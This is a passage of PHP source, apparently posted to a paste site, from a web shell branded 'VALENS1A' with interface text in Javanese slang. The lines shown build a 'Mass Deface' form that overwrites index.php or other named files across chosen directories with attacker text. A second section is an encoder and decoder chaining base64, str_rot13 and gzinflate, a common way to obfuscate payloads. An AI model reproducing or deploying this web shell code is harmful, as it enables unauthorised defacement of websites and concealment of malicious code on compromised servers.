  825. if($_POST['start']) {
  826. if($_POST['tipe_sabun'] == 'mahal') {
  827. echo "<div style='margin: 5px auto; padding: 5px'>";
  828. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  829. echo "</div>";
  830. } elseif($_POST['tipe_sabun'] == 'murah') {
  831. echo "<div style='margin: 5px auto; padding: 5px'>";
  832. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  833. echo "</div>";
  834. }
  835. } else {
  836. echo "<center>";
  837. echo "<form method='post'>
  838. <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  839. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  840. <font style='text-decoration: underline;'>Panggone Sempak:</font><br>
  841. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  842. <font style='text-decoration: underline;'>Jeneng Sempak:</font><br>
  843. <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br><br>
  844. <textarea name='script' style='width: 450px; height: 200px;'>VALENS1A MASS DEFACE | MA1N SABUN SEKAL1AN</textarea><br>
  845. <input type='submit' name='start' value='Mass Deface'>
  846. </form></center>";
  847. echo "<hr><p align='center'><a style='color: red;' href='?dir=$dir'>[ Mbalek ]</a></center><hr>";
  848. html_footer();
  849. }
  850. }elseif($_GET['ochill_valens1a'] == 'valens1adecode') {
  851. {$text = $_POST['code'];
  852. ?>
  853. <center><font face=Comic Sans MS size='2' color=lime>WOCOEN SEK: </font><font face=Comic Sans MS size='2' color=white>Enteni sampek loadingane selesai cok => lek wes mari hasilne bakalan metu.</font>
  854. <form method="post"><br><br><br>
  855. <textarea class='inputz' cols=20 rows=5 name="code"></textarea><br><br>
  856. <select class='inputz' size="1" name="ope">
  857. <option value="base64">Base64</option>
  858. <option value="gzinflate">str_rot13 - gzinflate - base64</option>
  859. <option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
  860. </select>&nbsp;<input class='inputzbut' type='submit' name='submit' value='Encrypt'>
  861. <input class='inputzbut' type='submit' name='submits' value='Decrypt'>
  862. </form>
Add Comment
Please, Sign In to add comment